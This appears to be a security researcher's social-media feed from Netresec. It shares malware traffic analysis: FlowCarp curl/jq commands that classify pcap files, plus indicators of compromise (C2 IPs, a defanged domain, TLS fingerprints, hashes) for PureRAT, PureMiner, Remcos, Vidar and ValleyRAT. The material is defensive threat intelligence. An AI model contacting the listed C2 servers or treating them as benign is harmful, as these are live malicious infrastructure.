curl -s --data-binary @ThreatFox-zgRAT.pcap https://demo.flowcarp.com | jq -s -c 'map(select(.event_type=="alert")|[(.dest_ip + ":" + (.dest_port|tostring)), .alert.signature])|unique[]'
["196.251.86.238:56001","MALWARE protocol detected: PureRAT"]
["196.251.86.238:56001","MALWARE protocol detected: TLS, PureRAT"]
["79.110.49.15:39001","MALWARE protocol detected: PureMiner"]
["89.23.103.60:7001","MALWARE protocol detected: TLS, PureRAT"]
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 30/07/2026
Only 3 IOCs have been posted to ThreatFox for the confusing catch-all label `zgRAT` in the past 12 months. Let's clear up any issues and figure out what they actually are. `89.23.103.60:7001` is `PureRAT` `194.169.175.191:39002` is `PureMiner` (also tagged […] [Original post on infosec.exchange]
PureRAT and PureMiner traffic on ThreatFox:
2026-03-05 15:06:22	89.23.103.60:7001	zgRAT	zgrat 	PeterGabaldon
2026-02-18 07:34:51	194.169.175.191:39002	zgRAT	API-BASE64 execution NETREACTOR persistence PUREMINER zgrat 	Neiki
2025-10-16 05:38:45	196.251.86.238:56001	zgRAT	RAT zgrat 	burger
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 27/07/2026
zgRAT is a confusing catch-all label: both PureLogs and PureRAT commonly trigger "zgRAT" detections. Please don't use it. netresec.com/?b=267e877
netresec.com
PureLogs, PureRAT and misleading zgRAT
Please stop classifying malware as zgRAT. That malware label is confusing. As far as I know, there isnt a proper definition of what zgRAT actually is. Some claim that zgRAT is the same malware family as PureLogs, while others argue that zgRAT should be mapped to PureRAT. There is also a blog post by[...]
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 21/07/2026
@james_inthe_box @da_667 Nice! Another alternative is to use FlowCarp. It has really good detection for ScreenConnect in TLS. Here's the output from the free FlowCarp demo service.
curl -s --data-binary @73887f39-a8ac-4702-a67d-36465caca294.pcap https://demo.flowcarp.com | grep -i screenconnect | jq
{
  "timestamp": "2026-07-16T16:15:26.9380460Z",
  "flow_id": 285455069726852,
  "event_type": "flow",
  "src_ip": "192.168.100.3",
  "src_port": 50098,
  "dest_ip": "100.58.85.208",
  "dest_port": 443,
  "proto": "TCP",
  "app_proto": "TLS, ScreenConnect",
  "flow": {
    "pkts_toserver": 8,
    "pkts_toclient": 7,
    "bytes_toserver": 707,
    "bytes_toclient": 1750,
    "start": "2026-07-16T16:15:26.9380460Z",
    "end": "2026-07-16T16:15:27.5164070Z",
    "age": 0.578361,
    "state": "CLOSING"
  },
  "metadata": {
    "round_trip_time": "00.0003070",
    "producer_consumer_ratio": "-0.42450142450142453",
    "community_id": "1:jVCti5wU/3XtQsB3626ioHF5WN0="
  }
}
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 16/07/2026
@james_inthe_box C2 server seems to be on 141.98.10.150:14642 `curl -s --data-binary @260716-pq5hpadv4p-behavioral1.pcapng demo.flowcarp.com | jq -s -c 'map(select(.event_type=="alert")|[(.dest_ip + ":" + (.dest_port|tostring)), .alert […] [Original post on infosec.exchange]
curl -s --data-binary @260716-pq5hpadv4p-behavioral1.pcapng https://demo.flowcarp.com | jq -s -c 'map(select(.event_type=="alert")|[(.dest_ip + ":" + (.dest_port|tostring)), .alert.signature])|unique[]'
["141.98.10.150:14642","MALWARE protocol detected: TLS, Remcos"]
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 03/07/2026
@james_inthe_box Thanks! Looks like the Vidar C2 is here: 📡 `172.67.216.246:443` (CLOUDFLARENET ASN 13335) 🌐 `hxxps://lot.terangsm188[.]top` 🫆 `a0e9f5d64349fb13191bc781f81f42e1` (JA3) 🫆 `6d6b821affda5de6562d217770a7ead0` (JA3S) 🫆 `t12d190800_d83cc789557e_7af1ed941c26` (JA4)
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 03/07/2026
@james_inthe_box @da_667 FlowCarp classifies `104.249.10.71:2555` as #PureRAT inside of TLS Feel free to verify with: `curl -s --data-binary @4bd07f35-3a29-477a-8e2b-7e4d31182cd7.pcap demo.flowcarp.com | jq -s -c 'map(select(.event_type=="alert")|[( […] [Original post on infosec.exchange]
$ curl -s --data-binary @4bd07f35-3a29-477a-8e2b-7e4d31182cd7.pcap  https://demo.flowcarp.com | jq -s -c 'map(select(.event_type=="alert")|[(.dest_ip + ":" + (.dest_port|tostring)), .alert.signature])|unique[]'
["104.249.10.71:2555","MALWARE protocol detected: TLS, PureRAT"]
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 25/06/2026
Pivoting on hashes and IPs ➡️ Ping32 RMM and ValleyRAT 👾 d43fdaa1f0ee09d7e5f0f94ee9df7b6c 📡 143.92.37.168:18987 (UDP) 👾 8266b00c4e45d728cef78b3f5a865f68 📡 143.92.37.168:10086 (UDP) netresec.com/?b=2666e31
netresec.com
Ping32 RMM and ValleyRAT
Fareed Radzi recently blogged about a malware campaign observed earlier in June by Kasperskys GReAT team. The malware campaign embedded malicious code in VBScripts, which were distributed through WhatsApp DMs. The VBScript then dropped the legitimate Remote Monitoring and Management (RMM) tool Manag[...]
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 09/06/2026
Is this a new ValleyRAT variant from #SilverFox (银狐) or a completely new malware? Custom protocol over TCP 443. C2 traffic starts with `BFuck\0\0\0` = `42 46 75 63 6b 00 00 00` IOCs: `38.76.177.46:443` `43.99.101.175:443` tria.ge/260527-lq3gjscw4t tria.ge/260525-t6jclsdv5m
"BFuck" C2 keyword shown in CapLoader
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 08/06/2026
@Ichinin Exactly! Researchers need quick and easy solutions for publishing IOCs. Especially when it comes to indicators that should be sent to as many orgs/users as possible, as quickly as possible.
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 08/06/2026
@Ichinin That's a nice approach to make the data available to everyone. But it only provides fast and broad distribution if that GitHub page is being actively monitored by others. Here's an interesting follow up question: How can we make it easier for organizations and threat intel providers to […]
infosec.exchange
Original post on infosec.exchange
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 08/06/2026
How do You maximize IOC sharing with minimal effort?
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 08/06/2026
Maximizing IOC Impact: Advice on extracting, verifying, and sharing IOCs for fast, broad protection. netresec.com/?b=26653f3
netresec.com
Maximizing IOC Impact
Ive been thinking about threat intelligence lately. Specifically: indicators of compromise (IOC), how and where to share them to cause maximum pain to adversaries and help as many organizations as possible protect themselves. I regularly analyze malware traffic from sandboxes such as ANY.RUN, Triage[...]
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 05/06/2026
PolarProxy 2.0.1 Released 💨 Improved performance 🐞 Bug fixes ⚖️ Prioritizes PCAP output over throughput netresec.com/?b=266dc11
netresec.com
PolarProxy 2.0.1 Released
Our TLS inspection proxy PolarProxy has been updated with bug fixes, improved performance and more reliable PCAP output. The recent PolarProxy 2.0 release added musl/Alpine compatibility and support for unencrypted HTTP proxy requests. But there were a few small, yet very important, updates that unf[...]
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 02/06/2026
threatfox.abuse.ch/ioc/1820851
threatfox.abuse.ch
ThreatFox | Checking your browser
000 0